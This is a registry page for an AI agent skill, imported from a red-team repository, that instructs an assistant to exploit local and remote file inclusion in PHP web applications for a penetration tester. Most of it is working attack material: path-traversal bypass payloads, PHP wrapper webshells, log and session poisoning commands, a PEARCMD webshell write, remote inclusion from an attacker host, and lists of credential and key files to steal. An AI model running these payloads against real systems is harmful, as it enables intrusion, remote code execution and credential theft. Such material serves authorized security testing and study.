Skip to content
Skillv1.0.0

lfi

Guide Local File Inclusion (LFI) and Remote File Inclusion (RFI) exploitation during authorized penetration testing.

by blacklanternsecurity(0) 0 installs
Free
Sign in to install

Free account. Installing gives you the manifest plus copy-paste snippets.

See reviews

About

Imported from blacklanternsecurity/red-run (skills/web/lfi/SKILL.md). Install upstream with npx skills add blacklanternsecurity/red-run --skill lfi. Copyright stays with the author.

Local File Inclusion / Remote File Inclusion

You are helping a penetration tester exploit file inclusion vulnerabilities. The target application includes files based on user-controlled input — either locally (LFI) or from a remote URL (RFI). The goal is to read sensitive files, extract source code, and escalate to remote code execution. All testing is under explicit written authorization.

Engagement Logging

Check for ./engagement/ directory. If absent, proceed without logging.

When an engagement directory exists:

  • Print [lfi] Activated → <target> to the screen on activation.
  • Evidence → save significant output to engagement/evidence/ with descriptive filenames (e.g., sqli-users-dump.txt, ssrf-aws-creds.json).

State Management

Call get_state_summary() from the state MCP server to read current engagement state. Use it to:

  • Skip re-testing targets, parameters, or vulns already confirmed
  • Leverage existing credentials or access for this technique
  • Understand what's been tried and failed (check Blocked section)

Your return summary must include:

  • New targets/hosts discovered (with ports and services)
  • New credentials or tokens found
  • Access gained or changed (user, privilege level, method)
  • Vulnerabilities confirmed (with status and severity)
  • Pivot paths identified (what leads where)
  • Blocked items (what failed and why, whether retryable)

Prerequisites

  • A parameter that includes or loads files (URL param, POST field, cookie, header)
  • Common vulnerable parameters: ?file=, ?page=, ?include=, ?path=, ?doc=, ?view=, ?content=, ?template=, ?action=, ?dir=, ?cat=, ?mod=, ?conf=, ?locate=

Step 1: Assess

If not already provided, determine:

  1. Platform — Linux or Windows (try /etc/passwd vs C:\Windows\win.ini)
  2. Language — PHP, Java/JSP, Node.js, Python, ASP.NET
  3. Injection point — which parameter, GET/POST/cookie/header
  4. Base behavior — does the param expect a filename, path, or URL?

Skip if context was already provided.

Step 2: Basic Traversal

Confirm LFI

# Linux
../../../etc/passwd
# Windows
..\..\..\Windows\win.ini
..\..\..\..\Windows\win.ini

Filter Bypass

If basic traversal is blocked, try these in order:

# URL encoding
..%2f..%2f..%2fetc%2fpasswd

# Double URL encoding (when server decodes twice)
%252e%252e%252f%252e%252e%252fetc%252fpasswd

# Non-recursive stripping (server removes ../ once)
....//....//....//etc/passwd
..././..././..././etc/passwd

# UTF-8 overlong encoding
%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd

# Null byte (PHP < 5.3.4)
../../../etc/passwd%00
../../../etc/passwd%00.php

# Path truncation (exhaust 4096-byte limit, PHP < 5.3)
../../../etc/passwd/./././././[repeat to 4096+ chars]

# Mixed separators
..\/..\/..\/etc/passwd

# Backslash encoding
%5C..%5C..%5C..%5Cetc%5Cpasswd

Windows-Specific Bypass

# Backslash traversal
..\..\..\..\Windows\win.ini

# UNC path (may trigger SMB)
\\localhost\c$\Windows\win.ini

# FindFirstFile wildcard (matches temp files)
..\..\..\..\Windows\Temp\php<<

Step 3: PHP Wrappers

PHP wrappers are the most powerful LFI technique — they can read source code, execute arbitrary PHP, and bypass many filters.

php://filter — Source Code Extraction

Read PHP source without executing it:

php://filter/convert.base64-encode/resource=index.php
php://filter/convert.base64-encode/resource=config.php
php://filter/convert.base64-encode/resource=../config/database.php

Decode the base64 output to get the source code.

If base64 is blocked:

# ROT13
php://filter/string.rot13/resource=index.php

# Chained filters
php://filter/zlib.deflate/convert.base64-encode/resource=index.php

# iconv conversion
php://filter/convert.iconv.UTF-8.UTF-16/resource=index.php

# Case insensitive (bypass keyword filter)
PhP://FiLtEr/convert.base64-encode/resource=index.php

data:// — Direct Code Execution

Requires allow_url_include=On (rare but check):

data://text/plain,<?php system($_GET['cmd']); ?>&cmd=id
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4=&cmd=id

php://input — POST Body as File

Requires allow_url_include=On:

# Include php://input, then send PHP code in POST body:
POST /vuln.php?page=php://input HTTP/1.1

<?php system('id'); ?>

expect:// — Direct Command Execution

Requires expect extension (rare):

expect://id
expect://ls+-la

zip:// and phar:// — Archive Exploitation

Upload a ZIP containing a PHP shell (disguised as allowed extension):

# Create zip with shell
echo '<?php system($_GET["cmd"]); ?>' > shell.php
zip shell.jpg shell.php

# Upload shell.jpg, then include:
zip://uploads/shell.jpg%23shell.php&cmd=id

# phar:// variant
phar://uploads/archive.phar/shell.txt

Step 4: LFI to RCE

When you can read files but need code execution:

Method 1: PHP Filter Chain RCE (No File Write Required)

The most reliable modern LFI-to-RCE technique. Uses chained php://filter iconv conversions to generate arbitrary PHP code without writing to disk.

# Install the generator
git clone https://github.com/synacktiv/php_filter_chain_generator

# Generate a webshell chain
python3 php_filter_chain_generator.py --chain '<?php system($_GET["cmd"]); ?>'

# Use the output as the LFI parameter value
# Result is a long php://filter/convert.iconv... chain

The generated chain works as a direct include — no file write needed. This works on any PHP version that supports php://filter.

Method 2: Log Poisoning

Inject PHP into a log file, then include it.

Apache/Nginx access log:

# Poison the User-Agent
curl -A '<?php system($_GET["cmd"]); ?>' 'http://TARGET/'

# Include the log
# Apache: ../../../var/log/apache2/access.log&cmd=id
# Nginx:  ../../../var/log/nginx/access.log&cmd=id

SSH auth log (if SSH is exposed):

# Poison with PHP as username
ssh '<?php system($_GET["cmd"]); ?>'@TARGET

# Include: ../../../var/log/auth.log&cmd=id

FTP log:

# Login with PHP payload as username
ftp TARGET  # username: <?php system($_GET["cmd"]); ?>

# Include: ../../../var/log/vsftpd.log&cmd=id

Mail log:

# Send email with PHP in body
mail -s "<?php system(\$_GET['cmd']); ?>" www-data@TARGET < /dev/null

# Include: ../../../var/log/mail&cmd=id
# Or: ../../../var/spool/mail/www-data&cmd=id

Method 3: PHP Session Poisoning

If you can control data stored in a PHP session:

# Set a session value containing PHP code (e.g., via login username)
# Session files are at:
# Linux: /var/lib/php/sessions/sess_[PHPSESSID]
# Or:    /tmp/sess_[PHPSESSID]

# Include the session file:
../../../var/lib/php/sessions/sess_[YOUR_PHPSESSID]&cmd=id

Method 4: /proc/self/environ

If /proc/self/environ is readable and contains User-Agent:

# Set User-Agent to PHP code
curl -A '<?php system($_GET["cmd"]); ?>' \
  'http://TARGET/vuln.php?page=../../../proc/self/environ&cmd=id'

Method 5: PHP_SESSION_UPLOAD_PROGRESS

Works even with session.auto_start=Off. Upload a file with PHP_SESSION_UPLOAD_PROGRESS in the form data — PHP writes the filename to the session file, creating a race condition window.

# Race condition: upload with PHP code in filename, include session before cleanup
# Session path: /var/lib/php/sessions/sess_[PHPSESSID]
# Requires concurrent requests (threading)

Tool: php_filter_chains_oracle_exploit for automated exploitation.

Method 6: PEARCMD.php Gadget

If pearcmd.php exists on the server (common in Docker PHP images):

# Write a webshell via config-create
?file=/usr/local/lib/php/pearcmd.php&+-config-create+/<?=system($_GET['cmd'])?>+/tmp/shell.php

# Then include the written shell
?file=/tmp/shell.php&cmd=id

Alternative PEAR commands: man_dir, download, install.

Method 7: Temp File + Race Condition

PHP creates temp files during file uploads at /tmp/phpXXXXXX. If you can determine the filename (e.g., via phpinfo() output), include it before PHP deletes it on request completion.

Method 8: PHAR Deserialization (PHP < 8.0)

If the application calls file_exists(), filesize(), md5_file(), etc. on the included path, PHAR metadata is auto-deserialized:

phar://uploads/evil.phar

The PHAR file can have JPG magic bytes (\xff\xd8\xff) to bypass upload filters. Requires a known gadget chain in the application. PHP 8.0+ no longer auto-deserializes PHAR metadata.

Step 5: Sensitive Files

Linux

/etc/passwd
/etc/shadow                    # Requires root — try anyway
/etc/hosts
/etc/hostname
/proc/self/environ             # Environment variables (DB creds, API keys)
/proc/self/cmdline             # How the process was started
/proc/version                  # Kernel version
/home/USER/.ssh/id_rsa         # SSH private keys
/home/USER/.bash_history       # Command history
/root/.ssh/id_rsa
/root/.bash_history

Web server configs:

/etc/apache2/apache2.conf
/etc/apache2/sites-enabled/000-default.conf
/etc/nginx/nginx.conf
/etc/nginx/sites-enabled/default
/var/www/html/.htaccess

Application configs:

/var/www/html/config.php
/var/www/html/.env              # Laravel, Node.js
/var/www/html/wp-config.php     # WordPress
/var/www/html/configuration.php # Joomla
/var/www/html/config/database.yml  # Rails

Tomcat (high-value — credentials and DB connections):

/var/lib/tomcat9/conf/tomcat-users.xml   # Manager credentials + roles
/var/lib/tomcat8/conf/tomcat-users.xml
/var/lib/tomcat7/conf/tomcat-users.xml
/var/lib/tomcat10/conf/tomcat-users.xml
/opt/tomcat/conf/tomcat-users.xml        # Manual installs
/etc/tomcat9/tomcat-users.xml            # Debian/Ubuntu alternative
/var/lib/tomcat9/conf/server.xml         # Connectors, AJP, ports
/var/lib/tomcat9/conf/context.xml        # Database connection strings (JNDI)
/var/lib/tomcat9/conf/web.xml            # Servlet mappings

Logs (for poisoning):

/var/log/apache2/access.log
/var/log/apache2/error.log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/auth.log
/var/log/vsftpd.log
/var/log/mail.log
/var/log/syslog

Windows

C:\Windows\win.ini
C:\Windows\System32\config\sam    # Password hashes (requires SYSTEM)
C:\Windows\System32\config\system
C:\Windows\Panther\unattend.xml   # Auto-install creds (plaintext!)
C:\Windows\Panther\Unattend\unattend.xml
C:\sysprep.inf
C:\inetpub\wwwroot\web.config
C:\inetpub\logs\LogFiles\
C:\xampp\apache\conf\httpd.conf
C:\xampp\apache\logs\access.log
C:\xampp\mysql\data\mysql\user.MYD
C:\xampp\phpMyAdmin\config.inc.php   # DB creds, often root with no password
C:\xampp\passwords.txt               # Plaintext install passwords
C:\wamp\www\phpinfo.php
C:\inetpub\wwwroot\web.config        # .NET connection strings, credentials
C:\Windows\System32\inetsrv\config\applicationhost.config
C:\Users\Administrator\.ssh\id_rsa

Step 6: Remote File Inclusion (RFI)

RFI requires allow_url_include=On (off by default since PHP 5.2). Test anyway.

# Basic RFI
http://ATTACKER/shell.txt

# SMB (Windows — works even with allow_url_fopen=Off)
\\ATTACKER\share\shell.php

# data:// as RFI alternative
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4=

SMB-based RFI on Windows is often overlooked — allow_url_include doesn't apply to UNC paths, so this bypasses the restriction.

Step 7: Escalate or Pivot

SSRF pivot: If the LFI uses file_get_contents(), include(), or similar functions that accept http:// URLs, the vulnerability is also an SSRF primitive. Test with http://127.0.0.1/ — if it returns content, report the SSRF capability and recommend switching to the ssrf skill for localhost service exploitation (database admin panels, internal APIs, cloud metadata).

OPSEC Notes

  • File reads via LFI are quiet — minimal log footprint beyond the request itself
  • Log poisoning leaves your PHP payload permanently in the log file
  • PHP filter chains generate very long URLs that may trigger WAF rules
  • data:// and php://input payloads are visible in access logs
  • PEARCMD exploitation writes a file to disk — clean up after
  • Temp file race conditions generate high request volume
  • Cleanup: remove any webshells written via log poisoning or PEARCMD

Troubleshooting

Traversal Returns Empty / Error

  • Try more ../ levels (go deeper than you think — 10+ is common in nested apps)
  • Try alternate encoding: %2e%2e%2f, %252e%252e%252f, %c0%ae%c0%ae/
  • Check if server strips ../ non-recursively: ....// or ..././
  • On Windows, try both / and \ separators
  • Check if a file extension is appended: use null byte (%00) on PHP < 5.3.4 or path truncation on PHP < 5.3

php://filter Returns Empty

  • Check if php:// is blacklisted — try PhP://FiLtEr (case insensitive)
  • Try php://filter/read=convert.base64-encode/resource=FILE (explicit read=)
  • If base64 is blocked: use string.rot13 or convert.iconv.UTF-8.UTF-16
  • Chain with compression: zlib.deflate/convert.base64-encode

Log Poisoning Fails

  • Verify the log file path — varies by distro and install method
  • Check permissions — log files may not be readable by the web user
  • Use a very short payload — large payloads may be truncated
  • URL-encode special characters in the User-Agent
  • Check if the log rotated since poisoning — try the active log file

data:// and php://input Don't Work

  • allow_url_include is likely Off (default since PHP 5.2)
  • PHP filter chain RCE does NOT require allow_url_include — use that instead
  • Log poisoning doesn't require it either
  • On Windows, try SMB-based RFI (\\attacker\share\shell.php)

LFI Works but No RCE Path

Priority order for escalation:

  1. PHP filter chain RCE (most reliable, no file write)
  2. Log poisoning (Apache/Nginx access log → SSH auth log → FTP log)
  3. Session poisoning (if you control any session data)
  4. PEARCMD gadget (if Docker PHP image)
  5. /proc/self/environ (if readable)
  6. Temp file race condition (last resort, needs threading)

Automated Tools

# LFISuite — automated LFI scanner
python lfimap.py -U 'http://TARGET/vuln.php?file=PWN' -a

# php_filter_chain_generator — filter chain RCE
python3 php_filter_chain_generator.py --chain '<?php system($_GET["cmd"]); ?>'

# Kadimus — LFI scanner
kadimus -u 'http://TARGET/vuln.php?page=FILE'

# wrapwrap — file leak with prefix/suffix
python3 wrapwrap.py --parameter file --url 'http://TARGET/vuln.php' \
  --target /etc/passwd

Use it

Copy one of these into your project. Installing also returns the manifest and these snippets.

yaml
targets:
  - https://api.opensmartroute.ai/api/v1/registry/blacklanternsecurity-red-run-lfi/manifest   # or paste the manifest below

Manifest

An Open Capability Manifest: the router reads it to know what this does, what it costs and when to pick it.

blacklanternsecurity-red-run-lfi.ocm.jsonjson
{
  "ocm": "1",
  "id": "blacklanternsecurity-red-run-lfi",
  "kind": "skill",
  "name": "lfi",
  "description": "Guide Local File Inclusion (LFI) and Remote File Inclusion (RFI) exploitation during authorized penetration testing.",
  "publisher": "blacklanternsecurity",
  "version": "1.0.0",
  "capabilities": {
    "domains": [
      "general"
    ],
    "tags": [
      "skill-md",
      "lfi",
      "local-file-inclusion",
      "path-traversal",
      "directory-traversal",
      "file-read",
      "file-inclusion",
      "php-filter",
      "php-wrappers",
      "log-poisoning"
    ],
    "languages": [
      "en"
    ]
  },
  "quality_prior": 0.6,
  "examples": [
    "Guide Local File Inclusion (LFI) and Remote File Inclusion (RFI) exploitation during authorized penetration testing."
  ],
  "primary": false,
  "metadata": {
    "source": {
      "provider": "github",
      "repository": "https://github.com/blacklanternsecurity/red-run",
      "path": "skills/web/lfi/SKILL.md",
      "ref": "050ac1ffc80db9419f2d8e60a0960f1ca3f980ea",
      "url": "https://github.com/blacklanternsecurity/red-run/blob/050ac1ffc80db9419f2d8e60a0960f1ca3f980ea/skills/web/lfi/SKILL.md",
      "key": "blacklanternsecurity/red-run/skills/web/lfi/SKILL.md"
    }
  },
  "instructions": "# Local File Inclusion / Remote File Inclusion\n\nYou are helping a penetration tester exploit file inclusion vulnerabilities. The\ntarget application includes files based on user-controlled input — either locally\n(LFI) or from a remote URL (RFI). The goal is to read sensitive files, extract\nsource code, and escalate to remote code execution. All testing is under explicit\nwritten authorization.\n\n## Engagement Logging\n\nCheck for `./engagement/` directory. If absent, proceed without logging.\n\nWhen an engagement directory exists:\n- Print `[lfi] Activated → <target>` to the screen on activation.\n- **",
  "cost": {
    "context_tokens": 3649
  }
}

Fetch it by URL: GET /api/v1/registry/blacklanternsecurity-red-run-lfi/manifest?version=1.0.0

Reviews

Star ratings from people who tried it. One review per account; edit yours any time.

No reviews yet. Install it, try it, and be the first to rate it.